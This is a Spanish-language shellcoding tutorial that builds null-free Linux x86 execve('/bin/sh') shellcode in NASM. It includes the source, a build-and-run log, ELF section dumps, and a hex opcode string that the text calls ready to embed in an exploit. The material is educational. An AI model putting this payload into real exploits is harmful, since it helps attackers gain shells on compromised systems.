Shellcoding Series :. I Local Linux x86 Shellcoding without any high-level language

.: ASM / Shellcoding Series :. I Local Linux x86 Shellcoding without any high-level language por vlan7 http://www.vlan7.org — http://zen7.vlan7.org 7-

2 downloads 45 Views 96KB Size

Recommend Stories


Crane Specification: Any lift, anywhere, any time
Crane Specification: GROVE GMK3055 GROVE GMK3055 Any lift, anywhere, any time COMPREHENSIVE LIFTING SOLUTIONS We look forward to providing a full

Story Transcript

.: ASM / Shellcoding Series :. I Local Linux x86 Shellcoding without any high-level language por vlan7 http://www.vlan7.org — http://zen7.vlan7.org 7-Nov-2010

1

´Indice 1. Objetivo

3

2. Nuestra shellcode 2.1. C´ odigo fuente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2. Compilar [nasm] && linkar [ld] && ejecutar [./sc] . . . . . . . . . . . . . . . . . . . .

3 3 4

3. An´ alisis de la shellcode 3.1. El hack CALL / POP (AKA JMP/CALL trick) . . . . . 3.2. D´onde colocar la cadena ’/bin/shNXXXXYYYY’ . . . . 3.3. Cadena ’/bin/shNXXXXYYYY’ reside en secci´ on .data 3.4. Secci´ on .data es RW . . . . . . . . . . . . . . . . . . . . 3.5. ¿Por qu´e almacenamos en la pila /bin/shNXXXXYYYY 3.6. Null bytes are evil . . . . . . . . . . . . . . . . . . . . .

4 4 4 4 5 5 5

. . . . . . . . . . . . . . . . . . . . en lugar . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . de //bin/sh . . . . . . .

. . . . ? .

. . . . . .

. . . . . .

. . . . . .

4. Log completo y ordenado

6

5. Referencias

7

6. Saludos

8

7. Contacto

8

2

It’s pretty simple - you read the protocol and write the code. Bill Joe

1.

Objetivo

Nuestro objetivo es ejecutar una shellcode linux/x86 local v´ alida que nos devuelva una shell. ¿Qu´e entendemos por v´ alida? Por lo menos sin null bytes, position independent y sin segfaults. Todo ello sin recurrir a compiladores de lenguajes de alto nivel como gcc. Por todo ello: No se requieren conocimientos de lenguajes de alto nivel. Se requiere un nivel medio de ASM para comprender el c´ odigo fuente de la shellcode. Un nivel b´ asico de shellcoding es requerido. Un nivel relativamente alto de Linux / bash es aconsejable para comprender algunos filtros complejos aplicados a la salida de algunos comandos, aunque no es imprescindible.

2. 2.1. 1 2 3

Nuestra shellcode C´ odigo fuente

; nasm -v ; ld -v ; NASM version 2 .03.01 compiled on Jun 19 2008 ; GNU ld ( GNU Binutils for Ubuntu ) 2 .18.93.20081009

4 5 6

; int execve ( const char * filename , char * const argv [] , char * const envp []) ; ; execve ("/ bin / sh " , *"/ bin / sh " , ( char **) NULL ) ;

7 8

BITS 32

9 10 11

section .data global _start

12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

_start : jmp short down ; jmp short = no bytes nulos jmp_back : pop ebx ; ebx = direccion de la cadena ( CALL / POP hack ) xor eax , eax mov byte [ ebx +7] , al ; Ponemos un null en N , es decir , shell [7] mov [ ebx +8] , ebx ; Ponemos la direccion de la cadena en shell [8] ( ebx ) mov [ ebx +12] , eax ; Null en shell [12] ; La cadena en este momento es asi : "/ bin / sh \0[ ebx ][0000]" xor eax , eax mov byte al , 11 ; execve es syscall 11 lea ecx , [ ebx +8] ; ecx = direccion de XXXX = [ ebx ] lea edx , [ ebx +12] ; edx = direccion de YYYY = [0000] int 0 x80 ; Llamamos al kernel down : call jmp_back shell : db " / bin / shNXXXXYYYY "

C´ odigo 1



3

sc.asm

2.2.

Compilar [nasm] && linkar [ld] && ejecutar [./sc]

root@bt :~# nasm -f elf32 sc.asm -o sc.o root@bt :~# ld sc.o -o sc root@bt :~# . / sc sh -3 .2 # id uid =0( root ) gid =0( root ) groups =0( root ) ,4( adm ) ,20( dialout ) ,24( cdrom ) ,46( plugdev ) ,110( lpadmin ) ,111( sambashare ) ,112( admin ) sh -3 .2 # whoami root sh -3 .2 # exit root@bt :~#

C´ odigo 2

3.



It works

An´ alisis de la shellcode

3.1.

El hack CALL / POP (AKA JMP/CALL trick)

La instrucci´ on pop ebx, como sabemos, extrae hacia ebx los 4 bytes de la pila comprendidos entre [esp] y [esp + 4]. Recordemos que esp siempre apunta a lo alto de la pila y que un puntero en x86 (32 bits) siempre ocupa 4 bytes. Y... ¿Qu´e hay en esos 4 bytes? Hag´ amonos antes otra pregunta: ¿cu´ al es la instrucci´ on inmediatamente anterior a ese pop ebx? Un call. Call tiene una “feature”, y es que guarda en la pila la direcci´on de la siguiente instrucci´ on, de tal forma que cuando la subrutina a la que llama finalice con un RET, se pueda retomar correctamente la siguiente instrucci´ on (ret hace un pop de dicha direcci´on de memoria).

3.2.

D´ onde colocar la cadena ’/bin/shNXXXXYYYY’

Normalmente se coloca el c´ odigo ejecutable en la secci´ on .text, pero nos interesa que la cadena de la shell resida en la secci´ on .data, porque necesitamos escribir la shell en una zona no ejecutable con permisos de escritura, y la secci´ on .data cumple ambos requisitos. .data RW .text RO,X Si no coloc´ aramos la cadena ’/bin/shNXXXXYYYY’ en la secci´ on .data, ser´ıa interpretada como instrucci´ on, no como cadena. Y al ser interpretada como instrucci´ on en una secci´ on no ejecutable el programa abortar´ıa con una Violaci´on de Segmento.

3.3.

Cadena ’/bin/shNXXXXYYYY’ reside en secci´ on .data

root@bt :~# objdump -s -j .data sc sc : Contents 8049054 8049064 8049074

file format elf32 - i386 of section .data : eb185b31 c0884307 895 b0889 430 c31c0 b00b8d4b 088 d530c cd80e8e3 ffffff2f 62696 e2f 73684 e58 58585859 595959

C´ odigo 3

.. [1 ..C.. [ ..C.1. . .. K .. S. . .. .. .. / bin / shNXXXXYYYY

→ Volcado de la secci´ on .data

4

3.4.

Secci´ on .data es RW

root@bt :~# readelf -S sc | grep .data [ 1] .data PROGBITS

C´ odigo 4

08049054 000054 00002 f 00

WA

0

0

4

→ Escritura en la seccion .data

Flag W presente. Luego podemos escribir en la secci´ on .data

3.5.

¿Por qu´ e almacenamos en la pila /bin/shNXXXXYYYY en lugar de //bin/sh ?

Para responder a esa pregunta veamos la definici´on de la syscall execve. int execve(const char *filename, char *const argv[], char *const envp[]); Queremos que nuestra shellcode lance una shell, y debemos respetar sus argumentos para que sea v´ alida. Entonces ser´ıa algo similar a lo siguiente: execve("/bin/sh", *"/bin/sh", (char **)NULL); Analicemos la syscall. Como argumentos tenemos, por orden: 1. ebx = ’/bin/sh\0’ ˜Con un mov sobreescribiremos N con un caracter nulo - ’\0’ - con el fin de terminar la cadena. 2. ecx = [ebx] = La direcci´on en memoria donde se ubica la direcci´on de nuestra cadena, y, como todo puntero en x86, ocupa 4 bytes: XXXX 3. edx = YYYY (4 bytes) = [0000] = direcci´on del puntero a envp[] , que mediante el hack call/pop acabar´a llamando a la funci´on con *NULL, dado que *envp[] = (char **)NULL

3.6.

Null bytes are evil

root@bt :~# objdump -d -j .data . / sc | grep ’ [0 -9 a - f ]: ’ | grep -v ’ file ’ | cut - f2 -d : | cut -f1 -6 -d ’ ’ | tr -s ’ ’ | tr ’\ t ’ ’ ’ | sed ’s / $ // g ’ | sed ’s / /\\ x / g ’ | paste -d ’ ’ -s | sed ’s /^/"/ ’ | sed ’s / $ /"/ g ’ " \ xeb \ x18 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x89 \ x5b \ x08 \ x89 \ x43 \ x0c \ x31 \ xc0 \ xb0 \ x0b \ x8d \ x4b \ x08 \ x8d \ x53 \ x0c \ xcd \ x80 \ xe8 \ xe3 \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x4e \ x58 \ x58 \ x58 \ x58 \ x59 \ x59 \ x59 \ x59 "

C´ odigo 5



Shellcode en hexadecimal

Como vemos no hay bytes nulos :) Los bytes nulos son interpretados como fin de cadena en exploitation en el mundo C. En la pr´ actica se interrumpir´ıa la ejecuci´on del programa. Pedimos a objdump que nos desensamble (-d) la secci´ on .data (-j) porque es ah´ı donde se encuentra nuestra cadena con la shell. Despu´es aplicamos una serie de filtros que nos devuelven la shellcode en forma de cadena de opcodes, una cadena lista para incrustar en un array en un exploit. ´ ¡Util! Ahora haremos el proceso inverso, obtendremos el desensamblado a partir de la ristra de opcodes. Esta vez utilizar´e ndisasm porque personalmente me gusta su salida. En tres columnas, de un vistazo tienes: offset, opcodes y desensamblado.

5

root@bt :~# perl -e ’ print "\ xeb \ x18 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x89 \ x5b \ x08 \ x89 \ x43 \ x0c \ x31 \ xc0 \ xb0 \ x0b \ x8d \ x4b \ x08 \ x8d \ x53 \ x0c \ xcd \ x80 \ xe8 \ xe3 \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x4e \ x58 \ x58 \ x58 \ x58 \ x59 \ x59 \ x59 \ x59 " ’ | ndisasm -u 00000000 EB18 jmp short 0 x1a 00000002 5 B pop ebx 00000003 31 C0 xor eax , eax 00000005 884307 mov [ ebx +0 x7 ] , al 00000008 895 B08 mov [ ebx +0 x8 ] , ebx 0000000 B 89430 C mov [ ebx +0 xc ] , eax 0000000 E 31 C0 xor eax , eax 00000010 B00B mov al ,0 xb 00000012 8 D4B08 lea ecx ,[ ebx +0 x8 ] 00000015 8 D530C lea edx ,[ ebx +0 xc ] 00000018 CD80 int 0 x80 0000001 A E8E3FFFFFF call dword 0 x2 0000001 F 2 F das 00000020 62696 E bound ebp ,[ ecx +0 x6e ] 00000023 2 F das 00000024 7368 jnc 0 x8e 00000026 4 E dec esi 00000027 58 pop eax 00000028 58 pop eax 00000029 58 pop eax 0000002 A 58 pop eax 0000002 B 59 pop ecx 0000002 C 59 pop ecx 0000002 D 59 pop ecx 0000002 E 59 pop ecx root@bt :~#

C´ odigo 6

4.

→ Desensamblado

Log completo y ordenado

root@bt :~# nasm -v ; ld -v NASM version 2 .03.01 compiled on Jun 19 2008 GNU ld ( GNU Binutils for Ubuntu ) 2 . 18 .9 3 .2 00 81 0 09 root@bt :~# nasm -f elf32 sc.asm -o sc.o root@bt :~# ld sc.o -o sc root@bt :~# . / sc sh -3 .2 # id uid =0( root ) gid =0( root ) groups =0( root ) ,4( adm ) ,20( dialout ) ,24( cdrom ) ,46( plugdev ) ,110( lpadmin ) ,111( sambashare ) ,112( admin ) sh -3 .2 # whoami root sh -3 .2 # exit root@bt :~# objdump -v | head - n1 ; readelf -v | head - n1 ; ndisasm -v GNU objdump ( GNU Binutils for Ubuntu ) 2 . 18 . 93 .2 00 8 10 09 GNU readelf ( GNU Binutils for Ubuntu ) 2 . 18 . 93 .2 00 8 10 09 NDISASM version 2 .03.01 compiled Jun 19 2008 root@bt :~# objdump -s -j .data sc sc : file format elf32 - i386 Contents 8049054 8049064 8049074

of section .data : eb185b31 c0884307 895 b0889 430 c31c0 b00b8d4b 088 d530c cd80e8e3 ffffff2f 62696 e2f 73684 e58 58585859 595959

root@bt :~# readelf -S sc | grep .data [ 1] .data PROGBITS

.. [1 ..C.. [ ..C.1. . .. K .. S. . .. .. .. / bin / shNXXXXYYYY

08049054 000054 00002 f 00

WA

0

0

4

root@bt :~# objdump -d -j .data . / sc | grep ’ [0 -9 a - f ]: ’ | grep -v ’ file ’ | cut - f2 -d : | cut -f1 -6 -d ’ ’ | tr -s ’ ’ | tr ’\ t ’ ’ ’ | sed ’s / $ // g ’ | sed ’s / /\\ x / g ’ | paste -d ’ ’ -s | sed ’s /^/"/ ’ | sed ’s / $ /"/ g ’ " \ xeb \ x18 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x89 \ x5b \ x08 \ x89 \ x43 \ x0c \ x31 \ xc0 \ xb0 \ x0b \ x8d \ x4b \ x08 \ x8d \ x53 \ x0c \ xcd \ x80 \ xe8 \ xe3 \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x4e \ x58 \ x58 \ x58 \ x58 \ x59 \ x59 \ x59 \ x59 "

6

root@bt :~# perl -e ’ print "\ xeb \ x18 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x89 \ x5b \ x08 \ x89 \ x43 \ x0c \ x31 \ xc0 \ xb0 \ x0b \ x8d \ x4b \ x08 \ x8d \ x53 \ x0c \ xcd \ x80 \ xe8 \ xe3 \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x4e \ x58 \ x58 \ x58 \ x58 \ x59 \ x59 \ x59 \ x59 " ’ | ndisasm -u 00000000 EB18 jmp short 0 x1a 00000002 5 B pop ebx 00000003 31 C0 xor eax , eax 00000005 884307 mov [ ebx +0 x7 ] , al 00000008 895 B08 mov [ ebx +0 x8 ] , ebx 0000000 B 89430 C mov [ ebx +0 xc ] , eax 0000000 E 31 C0 xor eax , eax 00000010 B00B mov al ,0 xb 00000012 8 D4B08 lea ecx ,[ ebx +0 x8 ] 00000015 8 D530C lea edx ,[ ebx +0 xc ] 00000018 CD80 int 0 x80 0000001 A E8E3FFFFFF call dword 0 x2 0000001 F 2 F das 00000020 62696 E bound ebp ,[ ecx +0 x6e ] 00000023 2 F das 00000024 7368 jnc 0 x8e 00000026 4 E dec esi 00000027 58 pop eax 00000028 58 pop eax 00000029 58 pop eax 0000002 A 58 pop eax 0000002 B 59 pop ecx 0000002 C 59 pop ecx 0000002 D 59 pop ecx 0000002 E 59 pop ecx root@bt :~#

C´ odigo 7

5.

→ Log completo

Referencias

+ Segmentation fault en un c´ odigo ensamblador NewLog, TuXeD, vlan7 http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6048 + Introduction to Writing Shellcode Phalaris http://www.phiral.net/shellcode.htm + Understanding ELF using readelf and objdump Mulyadi Santosa http://www.linuxforums.org/articles/understanding-elf-using-readelf-and-objdump 125.html + Assembly: Y86 Stack and call, pushl/popl and ret instructions VVAA http://stackoverflow.com/questions/1021935/assembly-y86-stack-and-call-pushl-popl-and-ret-instructions + x86 Assembly Language Reference Manual Sun Microsystems / Oracle http://docs.sun.com/app/docs/doc/802-1948/6i5uqa9on?a=view

7

6.

Saludos

A Cika, ma, Zir0, fol, zcom, vermells, Kela, wipika, glub, ali lia, Kynes, kubyz, Heyoka, norm, NewLog, Vic Thor, Sor Zitroen, Kyrie, NeTTinG, overflow, neofito, Newhack, Seifreed, Yorkshire, Nineain, sch3m4, Error500, fuurio. Y a muchos otros.

7.

Contacto http://pgp.surfnet.nl/pks/lookup?op=get&search=vlan7

-----BEGIN PGP PUBLIC KEY BLOCK----Version: GnuPG v1.4.10 (GNU/Linux) mQENBEzLOTcBCAC/Sqcixo2hS0S1pTsCKNb0whOrdGpeAJtCoFY6egbzGrbkBXU7 PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv970KWqh o8/F98F5zvA1VIg3H0onGWqd6e084wSjgenLtnzrxokHV1e3CkuKdZ5udRI04SfC o/pkt6QK3OJAQjJrj1ImYoNQ5RpcKuXiX+Q54lqCJd7kJpgDtgdBaU5lqqN5rCDJ 0/SJAM30qrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v d3d3LnZsYW43Lm9yZykgPGFkbWluQHZsYW43Lm9yZz6JATgEEwECACIFAkzLOTcC GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEM0bubRe0bUrF2UH/iqUo4C2 Q1OlQj84W03xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k 4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8 2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2 aAWd/UZCrbFHFcH6CUrIi5lNmP9EVuIw1m3BtV4mwOF7D6T48CokBjVlZMyMYk3d uERW4wjZWJ/63N95lnzqWuJAGNYzpoWqV4XbmFafomwGUmmm6b2OrU8eT/YJ177Z RAxlpnFKe/FwYXq5AQ0ETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua /OQ8wdRO7EIx5nEl0f9XyRRE0GvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0 dML+1wrQgpaIQTOd7b3m+eynfbrU9O67EoD6hRX14YJELPhutzqjZ1QCAEIFJM0L lMorcS9syMrkpxjpaSgMYFaM8DXLpvpBL60G5CxTLKAUoctS50S7bNxPvGURfWZ2 89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB 6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6 YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w =AFJ+ -----END PGP PUBLIC KEY BLOCK----Suerte, vlan7, 7 de Noviembre de 2010.

8

Get in touch

Social

© Copyright 2013 - 2024 MYDOKUMENT.COM - All rights reserved.